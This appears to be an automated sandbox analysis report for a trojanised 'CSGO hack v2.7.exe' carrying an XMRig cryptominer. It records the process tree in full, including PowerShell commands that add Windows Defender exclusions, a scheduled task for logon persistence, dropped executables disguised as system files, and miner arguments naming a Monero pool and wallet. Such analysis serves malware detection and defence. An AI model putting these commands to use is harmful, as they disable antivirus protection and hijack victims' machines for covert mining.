Analysis

  • max time kernel
    147s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27/05/2021, 05:31

General

  • Target
    CSGO hack v2.7.exe
  • Size 2.4MB
  • Sample210527-j8331kh67e
  • SHA256 f970fb9186f287b64997d76b1d4ddc5121b42e4bf697734ae1855a641e95b923
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CSGO hack v2.7.exe
    "C:\Users\Admin\AppData\Local\Temp\CSGO hack v2.7.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:736
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2820
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1312
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:984
    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3364
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3196
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1236
    • C:\Users\Admin\AppData\Roaming\iServices.exe
      "C:\Users\Admin\AppData\Roaming\iServices.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1344
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3196
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:1208
      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3628
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4068
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3920
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1668
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1880
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=426JLJWzhPD26zb3b15T3RDfhY4nF8wUA4DMqob2PLHo6vdWuTovFiqXWEzuXzvPgxBQeHQfAnf2Y8pmFVyMCWwk9BETtPz --pass= --cpu-max-threads-hint=50 --donate-level=5 --cinit-idle-wait=2 --cinit-idle-cpu=90 --tls --cinit-stealth
        3⤵
          PID:1236

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/548-217-0x000002A4FDC10000-0x000002A4FDC12000-memory.dmp

          memory/548-221-0x000002A4FDC16000-0x000002A4FDC18000-memory.dmp

          memory/548-225-0x000002A4FDC18000-0x000002A4FDC19000-memory.dmp

          memory/548-219-0x000002A4FDC13000-0x000002A4FDC15000-memory.dmp

          memory/736-117-0x0000000001BB0000-0x0000000001BB2000-memory.dmp

          memory/736-116-0x000000001D210000-0x000000001D452000-memory.dmp

          memory/736-114-0x0000000000F10000-0x0000000000F11000-memory.dmp

          memory/1204-246-0x0000026FA3050000-0x0000026FA3052000-memory.dmp

          memory/1204-247-0x0000026FA3053000-0x0000026FA3055000-memory.dmp

          memory/1204-249-0x0000026FA3056000-0x0000026FA3058000-memory.dmp

          memory/1204-253-0x0000026FA3058000-0x0000026FA3059000-memory.dmp

          memory/1236-254-0x00000187BF760000-0x00000187BF762000-memory.dmp

          memory/1236-277-0x0000000140000000-0x0000000140758000-memory.dmp

          memory/1236-261-0x00000187BF768000-0x00000187BF769000-memory.dmp

          memory/1236-255-0x00000187BF763000-0x00000187BF765000-memory.dmp

          memory/1236-256-0x00000187BF766000-0x00000187BF768000-memory.dmp

          memory/1312-203-0x000002335F118000-0x000002335F119000-memory.dmp

          memory/1312-200-0x000002335F113000-0x000002335F115000-memory.dmp

          memory/1312-202-0x000002335F116000-0x000002335F118000-memory.dmp

          memory/1312-199-0x000002335F110000-0x000002335F112000-memory.dmp

          memory/1320-276-0x0000018E53303000-0x0000018E53305000-memory.dmp

          memory/1320-275-0x0000018E53300000-0x0000018E53302000-memory.dmp

          memory/1320-278-0x0000018E53306000-0x0000018E53308000-memory.dmp

          memory/1320-281-0x0000018E53308000-0x0000018E53309000-memory.dmp

          memory/1344-239-0x0000023AF24F6000-0x0000023AF24F8000-memory.dmp

          memory/1344-234-0x0000023AF24F0000-0x0000023AF24F2000-memory.dmp

          memory/1344-235-0x0000023AF24F3000-0x0000023AF24F5000-memory.dmp

          memory/1344-242-0x0000023AF24F8000-0x0000023AF24F9000-memory.dmp

          memory/1668-241-0x000002D9DF083000-0x000002D9DF085000-memory.dmp

          memory/1668-290-0x000002369FBA6000-0x000002369FBA8000-memory.dmp

          memory/1668-289-0x000002369FBA3000-0x000002369FBA5000-memory.dmp

          memory/1668-248-0x000002D9DF088000-0x000002D9DF089000-memory.dmp

          memory/1668-240-0x000002D9DF080000-0x000002D9DF082000-memory.dmp

          memory/1668-245-0x000002D9DF086000-0x000002D9DF088000-memory.dmp

          memory/1668-288-0x000002369FBA0000-0x000002369FBA2000-memory.dmp

          memory/1764-223-0x000002C516713000-0x000002C516715000-memory.dmp

          memory/1764-232-0x000002C516718000-0x000002C516719000-memory.dmp

          memory/1764-222-0x000002C516710000-0x000002C516712000-memory.dmp

          memory/1764-224-0x000002C516716000-0x000002C516718000-memory.dmp

          memory/2184-175-0x000002CA21EA0000-0x000002CA21EA2000-memory.dmp

          memory/2184-193-0x000002CA21EA8000-0x000002CA21EA9000-memory.dmp

          memory/2184-179-0x000002CA21EA6000-0x000002CA21EA8000-memory.dmp

          memory/2184-178-0x000002CA21EA3000-0x000002CA21EA5000-memory.dmp

          memory/2592-197-0x0000019459BD6000-0x0000019459BD8000-memory.dmp

          memory/2592-194-0x0000019459BD0000-0x0000019459BD2000-memory.dmp

          memory/2592-198-0x0000019459BD8000-0x0000019459BD9000-memory.dmp

          memory/2592-195-0x0000019459BD3000-0x0000019459BD5000-memory.dmp

          memory/2820-131-0x000002174C960000-0x000002174C962000-memory.dmp

          memory/2820-124-0x0000021764B30000-0x0000021764B31000-memory.dmp

          memory/2820-128-0x0000021765680000-0x0000021765681000-memory.dmp

          memory/2820-173-0x000002174C968000-0x000002174C969000-memory.dmp

          memory/2820-132-0x000002174C963000-0x000002174C965000-memory.dmp

          memory/2820-133-0x000002174C966000-0x000002174C968000-memory.dmp

          memory/3180-218-0x000000001BDA0000-0x000000001BDA2000-memory.dmp

          memory/3196-230-0x0000026DF8593000-0x0000026DF8595000-memory.dmp

          memory/3196-238-0x0000026DF8598000-0x0000026DF8599000-memory.dmp

          memory/3196-258-0x0000018FE9983000-0x0000018FE9985000-memory.dmp

          memory/3196-257-0x0000018FE9980000-0x0000018FE9982000-memory.dmp

          memory/3196-263-0x0000018FE9988000-0x0000018FE9989000-memory.dmp

          memory/3196-229-0x0000026DF8590000-0x0000026DF8592000-memory.dmp

          memory/3196-233-0x0000026DF8596000-0x0000026DF8598000-memory.dmp

          memory/3196-262-0x0000018FE9986000-0x0000018FE9988000-memory.dmp

          memory/3364-212-0x000000001C5B0000-0x000000001C5B2000-memory.dmp

          memory/3628-274-0x000000001C610000-0x000000001C612000-memory.dmp

          memory/3920-283-0x0000015451E53000-0x0000015451E55000-memory.dmp

          memory/3920-282-0x0000015451E50000-0x0000015451E52000-memory.dmp

          memory/3920-287-0x0000015451E58000-0x0000015451E59000-memory.dmp

          memory/3920-284-0x0000015451E56000-0x0000015451E58000-memory.dmp